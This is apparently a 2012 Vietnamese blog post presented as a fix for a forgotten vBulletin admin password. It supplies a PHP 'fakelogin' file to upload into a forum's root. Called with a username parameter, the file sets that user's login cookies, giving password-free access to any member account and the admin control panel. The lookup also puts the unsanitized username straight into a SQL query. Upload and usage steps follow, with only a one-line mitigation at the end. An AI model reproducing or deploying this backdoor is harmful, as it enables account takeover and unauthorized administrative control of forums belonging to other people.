Monday, July 30, 2012

Fakelogin - Đăng nhập vào forum VBB không cần pass

Monday, July 30, 2012

 Trong quá trình đổi pass thường xuyên, không biết vì lý do gì mà mình quên mất pass của admin. Mình làm theo cách này và đổi pass thành công.



Code này có tác dụng là khi upload vào thư mục root của forum VBB các bạn có khả năng đăng nhập vào nick bất cứ thành viên nào mà không cần password. Ngoài ra vào đc thẳng admincp mà ko cần gõ lại pass.

<?phpif (isset($_GET['bd']))
{
define('THIS_SCRIPT''login');
require_once(
'./global.php');
require_once(
'./includes/functions_login.php');$vbulletin->userinfo $vbulletin->db->query_first("SELECT userid,usergroupid, membergroupids, infractiongroupids, username, password, salt FROM " TABLE_PREFIX "user WHERE username = '" $_GET['bd'] . "'");
if (!
$vbulletin->userinfo['userid']) die("Invalid username!");
else
{
vbsetcookie('userid'$vbulletin->userinfo['userid'], truetruetrue);vbsetcookie('password'md5($vbulletin->userinfo['password'] . COOKIE_SALT), truetruetrue);exec_unstrike_user($_GET['bd']);process_new_login('cplogin'TRUETRUE);do_login_redirect();
}
}
?>  
Cách sử dụng
Copy đoạn code trên vào notepad save đuôi *.php
Upload vào thư mục chứa forum ngang hàng với file index.php
Sau đó chạy link sau http://domain.com/*.php?bd=username
Phần in đậm các bạn tùy chỉnh nha ^^


Giải pháp: Tạo thêm 1 lớp mật khẩu cho VBB tại admincp.
Tin liên quan
XEM TRÊN MOBILE

No comments:

Post a Comment